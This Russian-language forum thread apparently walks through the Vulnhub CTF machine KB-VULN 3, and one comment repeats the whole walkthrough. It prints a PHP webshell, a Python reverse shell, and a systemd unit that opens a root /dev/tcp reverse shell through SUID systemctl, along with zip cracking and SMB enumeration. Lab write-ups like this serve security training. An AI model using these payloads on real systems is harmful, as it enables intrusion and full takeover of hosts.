• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

CTF Writeup KB-VULN: 3 Vulnhub - небезопасные сервисы

INPC

Grey Team
21.08.2019
77
161
BIT
107
ctf.jpg

Приветствую!

Это прохождение третьей машины из серии KB-VULN. Прохождение предыдущих машин можно посмотреть тут 1 и 2.

Найти и скачать коробку можно тут

Исходные данные:
Атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и root.txt.
Основная машина (с которой проводится атака) под управлением ОС Kali Linux
Задача: получить 2 флага с целевой машины (user.txt и root.txt) и права пользователя root.

Как всегда, сначала найдем атакуемую машину в сети при помощи команды:
~$ sudo netdiscover
В результате видим нужный ip: 192.168.3.142
Теперь просканируем машину nmap'ом:
~$ nmap -A -p- -v 192.168.3.142

1638714983355.png


Видим 3 сервиса: 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Первым делом стоит проверить самбу, вдруг там есть что-то общедоступное:
~$ smbmap -H 192.168.3.142

1638715344531.png


Видим директорию доступную для чтения и записи - Files, с комментарием: HACK ME ... Этот вызов оказался проще, чем мне казалось, но все по порядку. Для начала следует подключиться к этому каталогу и посмотреть, что в нем (пароль оставляем пустым, просто жмем ENTER ):
~$ smbclient //192.168.3.142/Files

1638715634391.png


В каталоге Files был найден всего 1 архив, который и был стянут, однако при распаковке архива оказалось, что он требует пароль:

1638715921556.png


Если же попробовать распаковать архив с пустым паролем, распакуется только древо каталогов "sitemagic", в котором нет ни одного файла (и в принципе нет особо полезной информации).
Попробуем забрутить пароль со стандартным словарем:
~$ fcrackzip -u -D -p /home/kali/Lab/rockyou.txt /home/kali/Lab/website.zip -v

1638716160315.png


И да, пароль найден, теперь спокойно распаковываем архив и видим интересный файл README.txt, в котором есть логин и пароль от админки сайта:

1638716513394.png


Что ж, пойдем смотреть. А перейдя на сайт ( ) видим очень красивую страницу 404:

1638714948638.png


Нужно подкорректировать файл hosts:
~$ sudo echo "192.168.3.142 kb.vuln" >> /etc/hosts
И, перейдя на сайт ( ) видим стандартную приветственную страницу apache, теперь можно запустить перебор страниц на этом сайте, а можно найти админскую панель научным методом тыка, перейдя на страницу

1638717837671.png


Зайдя в админку с логином и паролем из файла README.txt (admin::jesse) видно, что есть возможность загружать файлы на сервер, попробуем загрузить самый простой php-шелл следующего содержания:
<?php $cmd=$_GET['cmd']; print(`$cmd`); ?>

1638718172621.png


Я загрузил файл в папку files/editor . Теперь попробуем его использовать (перейдем к этому файлу и передадим команду ls ):
http://kb.vuln/files/editor/shell.php?cmd=ls

1638718389060.png


Окей, теперь попробуем загрузить туда же python revers-shell и запустить его.
Содержимое файла rev.py (этот код будет выполняться на стороне сервера. Тут все просто, импортируются стандартные модули и инициируется подключение к основное машине, через порт 1337) :
Python:
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.131",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

Загрузив файл, проверим, что он есть:

1638719697221.png


Теперь запустим прослушиватель на основной машине:
~$ nc -lnvp 1337

Выдадим права на запуск файлу rev.py на сервере и запустим его:
http://kb.vuln/files/editor/shell.php?cmd=chmod +x rev.py
http://kb.vuln/files/editor/shell.php?cmd=python rev.py

1638722176339.png


Мы внутри, пойдем, попробуем прочитать пользовательский флаг:
www-data@kb-server:/var/www/html/sitemagic/files/editor$ cat /home/heisenberg/user.txt
6346c6d19751f1a3195f1e4b4b609544

1638722365164.png


Пользовательский флаг есть, время получать рут. И тут я завис на продолжительное время.... Просмотр истории команд пользователя ничего не дал, поиск паролей в файловой системе - тоже, из-под судо, разумеется тоже ничего сделать нельзя. По итогу пароль пользователя я так и не нашел, и доступ к учетной записи heisenberg я тоже не получил, но зато поиск фалов, исполняемых от рута показал bin/systemctl
www-data@kb-server:/$ find / -perm -u=s -type f 2>/dev/null

1638723112818.png


Этот вектор атаки мне уже знаком, поэтому я и выбрал его. Все, что нужно - добавить свой сервис, который будет подключаться к основной машине, давая шелл. Подготовленный файл toor.service выглядит вот так:
Bash:
[Unit]
Description=Whatever


[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.3.131/4444 0>&1"


[Install]
WantedBy=multi-user.target

Теперь запустим веб-сервер на основной машине и стянем сервис на целевую машину:
~$ sudo python -m SimpleHTTPServer 80
www-data@kb-server:/dev/shm$ wget http://192.168.3.131/toor.service

1638723583705.png


Предварительно запустим прослушиватель на основной машине:
~$ nc -lnvp 4444
Осталось запустить сервис:

www-data@kb-server:/dev/shm$ cd /etc/systemd/system/multi-user.target.wants
www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl enable /dev/shm/toor.service
<arget.wants$ systemctl enable /dev/shm/toor.service
Created symlink /etc/systemd/system/multi-user.target.wants/toor.service -> /dev/shm/toor.service.
Created symlink /etc/systemd/system/toor.service -> /dev/shm/toor.service.
www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl start toor
<ystem/multi-user.target.wants$ systemctl start toor

1638723871708.png


I'AM ROOT !!! Рут получен, пошли, заберем заслуженный рут-флаг:

1638723987161.png


Сам флаг- 49360ba4cbe27a1b900df25b247315d7

На этом все, в серии машин KB-VULN осталась еще одна машина KB:VULN-FINAL, но выкладывать её прохождение я уже не буду, как и прохождение других машин, так-как эти врайтапы, видимо вообще никому не интересны, что очень печально.

Ну и как всегда, если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку.

Большое спасибо всем, кто дочитал этот врайтап до конца.
 
Последнее редактирование модератором:

Treangl

Green Team
29.12.2020
10
1
BIT
8
Что значит "никому не интересно"? Очень интересно новичкам, которым важно понять направление, ход размышлений, который приводит к определенному порядку действий. Если статьи не вызвали мгновенный взрыв аплодисментов, это не значит, что они никому не интересны не будут читаться. Бороздя просторы интернета и, в частности, форума Codeby, часто находишь статьи, написанные уже давно, но актуальные для прочтения в настоящий момент. И, к тому же, не все читатели оставляют отзывы. Да, я тоже после прочтения не побегу решать упомянутую машинку. И навряд ли оставил бы комментарий, если бы не последний абзац статьи. Но, может, Ваш опыт поможет мне в решении других задач.
Спасибо за Вашу работу. Еще не один человек помянет Вас добрым словом, пусть и про себя.
 
  • Нравится
Реакции: gu3st

INPC

Grey Team
21.08.2019
77
161
BIT
107
Спасибо за оценку и отзыв, очень мотивирует продолжать подобную деятельность)
 
02.03.2021
543
398
BIT
177
Молодца, отличная статья! И исходники для тех кто захочет повторить есть, шикарно.
Ждем следующую статью!
 

Qulan

Red Team
06.12.2020
171
509
BIT
348
Неплохо все расписано. Я даже для себя кое что взял! Продолжай писать, все хорошо получается)))
 
  • Нравится
Реакции: Mogen

Nick Nickovich

One Level
30.12.2021
1
1
BIT
0
Приветствую!

Это прохождение третьей машины из серии KB-VULN. Прохождение предыдущих машин можно посмотреть тут 1 и 2.

Найти и скачать коробку можно тут

Исходные данные:
Атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и root.txt.
Основная машина (с которой проводится атака) под управлением ОС Kali Linux
Задача: получить 2 флага с целевой машины (user.txt и root.txt) и права пользователя root.

Как всегда, сначала найдем атакуемую машину в сети при помощи команды:
~$ sudo netdiscover
В результате видим нужный ip: 192.168.3.142
Теперь просканируем машину nmap'ом:
~$ nmap -A -p- -v 192.168.3.142

Посмотреть вложение 55393

Видим 3 сервиса: 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Первым делом стоит проверить самбу, вдруг там есть что-то общедоступное:
~$ smbmap -H 192.168.3.142

Посмотреть вложение 55394

Видим директорию доступную для чтения и записи - Files, с комментарием: HACK ME ... Этот вызов оказался проще, чем мне казалось, но все по порядку. Для начала следует подключиться к этому каталогу и посмотреть, что в нем (пароль оставляем пустым, просто жмем ENTER ):
~$ smbclient //192.168.3.142/Files

Посмотреть вложение 55396

В каталоге Files был найден всего 1 архив, который и был стянут, однако при распаковке архива оказалось, что он требует пароль:

Посмотреть вложение 55397

Если же попробовать распаковать архив с пустым паролем, распакуется только древо каталогов "sitemagic", в котором нет ни одного файла (и в принципе нет особо полезной информации).
Попробуем забрутить пароль со стандартным словарем:
~$ fcrackzip -u -D -p /home/kali/Lab/rockyou.txt /home/kali/Lab/website.zip -v

Посмотреть вложение 55398

И да, пароль найден, теперь спокойно распаковываем архив и видим интересный файл README.txt, в котором есть логин и пароль от админки сайта:

Посмотреть вложение 55399

Что ж, пойдем смотреть. А перейдя на сайт ( ) видим очень красивую страницу 404:

Посмотреть вложение 55392

Нужно подкорректировать файл hosts:
~$ sudo echo "192.168.3.142 kb.vuln" >> /etc/hosts
И, перейдя на сайт ( ) видим стандартную приветственную страницу apache, теперь можно запустить перебор страниц на этом сайте, а можно найти админскую панель научным методом тыка, перейдя на страницу

Посмотреть вложение 55406

Зайдя в админку с логином и паролем из файла README.txt (admin::jesse) видно, что есть возможность загружать файлы на сервер, попробуем загрузить самый простой php-шелл следующего содержания:
<?php $cmd=$_GET['cmd']; print(`$cmd`); ?>

Посмотреть вложение 55407

Я загрузил файл в папку files/editor . Теперь попробуем его использовать (перейдем к этому файлу и передадим команду ls ):
http://kb.vuln/files/editor/shell.php?cmd=ls

Посмотреть вложение 55408

Окей, теперь попробуем загрузить туда же python revers-shell и запустить его.
Содержимое файла rev.py (этот код будет выполняться на стороне сервера. Тут все просто, импортируются стандартные модули и инициируется подключение к основное машине, через порт 1337) :
Python:
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.131",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

Загрузив файл, проверим, что он есть:

Посмотреть вложение 55409

Теперь запустим прослушиватель на основной машине:
~$ nc -lnvp 1337

Выдадим права на запуск файлу rev.py на сервере и запустим его:
http://kb.vuln/files/editor/shell.php?cmd=chmod +x rev.py
http://kb.vuln/files/editor/shell.php?cmd=python rev.py

Посмотреть вложение 55411

Мы внутри, пойдем, попробуем прочитать пользовательский флаг:
www-data@kb-server:/var/www/html/sitemagic/files/editor$ cat /home/heisenberg/user.txt
6346c6d19751f1a3195f1e4b4b609544

Посмотреть вложение 55412

Пользовательский флаг есть, время получать рут. И тут я завис на продолжительное время.... Просмотр истории команд пользователя ничего не дал, поиск паролей в файловой системе - тоже, из-под судо, разумеется тоже ничего сделать нельзя. По итогу пароль пользователя я так и не нашел, и доступ к учетной записи heisenberg я тоже не получил, но зато поиск фалов, исполняемых от рута показал bin/systemctl
www-data@kb-server:/$ find / -perm -u=s -type f 2>/dev/null

Посмотреть вложение 55413

Этот вектор атаки мне уже знаком, поэтому я и выбрал его. Все, что нужно - добавить свой сервис, который будет подключаться к основной машине, давая шелл. Подготовленный файл toor.service выглядит вот так:
Bash:
[Unit]
Description=Whatever


[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.3.131/4444 0>&1"


[Install]
WantedBy=multi-user.target

Теперь запустим веб-сервер на основной машине и стянем сервис на целевую машину:
~$ sudo python -m SimpleHTTPServer 80
www-data@kb-server:/dev/shm$ wget http://192.168.3.131/toor.service

Посмотреть вложение 55414

Предварительно запустим прослушиватель на основной машине:
~$ nc -lnvp 4444
Осталось запустить сервис:

www-data@kb-server:/dev/shm$ cd /etc/systemd/system/multi-user.target.wants
www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl enable /dev/shm/toor.service
<arget.wants$ systemctl enable /dev/shm/toor.service
Created symlink /etc/systemd/system/multi-user.target.wants/toor.service -> /dev/shm/toor.service.
Created symlink /etc/systemd/system/toor.service -> /dev/shm/toor.service.
www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl start toor
<ystem/multi-user.target.wants$ systemctl start toor

Посмотреть вложение 55415

I'AM ROOT !!! Рут получен, пошли, заберем заслуженный рут-флаг:

Посмотреть вложение 55416

Сам флаг- 49360ba4cbe27a1b900df25b247315d7

На этом все, в серии машин KB-VULN осталась еще одна машина KB:VULN-FINAL, но выкладывать её прохождение я уже не буду, как и прохождение других машин, так-как эти врайтапы, видимо вообще никому не интересны, что очень печально.

Ну и как всегда, если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку.

Большое спасибо всем, кто дочитал этот врайтап до конца.
Все очень достойно особенно для новичков я тоже некоторые техники ваши модифицирую! Ваш контент очень важен он учить думать и размышлять как безопастник
 
  • Нравится
Реакции: INPC

Ivan1111

New member
13.03.2023
1
0
BIT
0
Когда открываю коробку на виртуалке, то просит kb-server login и password соответсвенно. Не подскажете креды?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!